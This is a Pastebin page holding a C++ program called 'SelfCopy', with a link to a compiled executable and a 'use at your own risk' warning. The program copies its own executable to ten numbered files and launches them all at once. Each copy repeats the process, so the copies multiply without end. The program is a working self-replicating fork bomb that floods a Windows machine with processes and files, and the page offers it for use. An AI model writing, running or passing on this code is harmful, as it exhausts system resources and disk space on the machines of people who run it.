Advertisement
BigETI

main.cpp - SelfCopy

Jan 31st, 2015
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.82 KB | None | 0 0
  1. /*
  2.     http://www.solidfiles.com/d/327096a92b/SelfCopy.exe
  3.     Use it at your own risk!
  4. */
  5. #include <iostream>
  6. #include <string>
  7. #include <thread>
  8.  
  9. #define APPS    (10)
  10.  
  11. int result[APPS];
  12. std::string file_name[APPS];
  13.  
  14. void execute_file(unsigned int index)
  15. {
  16.     result[index] = system(file_name[index].c_str());
  17. }
  18.  
  19. int main(int argc, char *argv[])
  20. {
  21.     int ret = 0, i, j;
  22.     FILE *r_file = NULL, *w_file[APPS];
  23.     long long file_size;
  24.     char *buf = NULL;
  25.     std::thread *t[APPS];
  26.     memset(result, 0, sizeof(int) * APPS);
  27.     memset(w_file, 0, sizeof(FILE *) * APPS);
  28.     memset(t, 0, sizeof(std::thread *) * APPS);
  29.     for (i = 0; i < APPS; i++)
  30.     {
  31.         file_name[i] = argv[0];
  32.         for (j = 0; j < 4; j++) file_name[i].pop_back();
  33.         file_name[i].push_back('0'+((char)i));
  34.         file_name[i] += ".exe";
  35.     }
  36.     fopen_s(&r_file, argv[0], "rb");
  37.     if (r_file)
  38.     {
  39.         fseek(r_file, 0, SEEK_END);
  40.         file_size = _ftelli64(r_file);
  41.         fseek(r_file, 0, SEEK_SET);
  42.         try
  43.         {
  44.             buf = new char[file_size];
  45.         }
  46.         catch (...)
  47.         {
  48.             buf = NULL;
  49.         }
  50.         if (buf)
  51.         {
  52.             if (fread_s(buf, file_size * sizeof(char), sizeof(char), file_size, r_file) == file_size)
  53.             {
  54.                 for (i = 0; i < APPS; i++)
  55.                 {
  56.                     fopen_s(&(w_file[i]), file_name[i].c_str(), "wb");
  57.                     if (w_file[i])
  58.                     {
  59.                         if (fwrite(buf, sizeof(char), file_size, w_file[i]) != file_size) ret = 5;
  60.                         fclose(w_file[i]);
  61.                     }
  62.                     else ret = 4;
  63.                 }
  64.             }
  65.             else ret = 3;
  66.             delete[] buf;
  67.         }
  68.         else ret = 2;
  69.         fclose(r_file);
  70.     }
  71.     else ret = 1;
  72.     if (ret == 0)
  73.     {
  74.         for (i = 0; i < APPS; i++)
  75.         {
  76.             try
  77.             {
  78.                 t[i] = new std::thread(execute_file, i);
  79.             }
  80.             catch (...)
  81.             {
  82.                 t[i] = NULL;
  83.             }
  84.         }
  85.         for (i = 0; i < APPS; i++)
  86.         {
  87.             if (t[i])
  88.             {
  89.                 t[i]->join();
  90.                 if (result[i]) ret = 7;
  91.                 delete t[i];
  92.             }
  93.             else ret = 6;
  94.         }
  95.     }
  96.     return ret;
  97. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement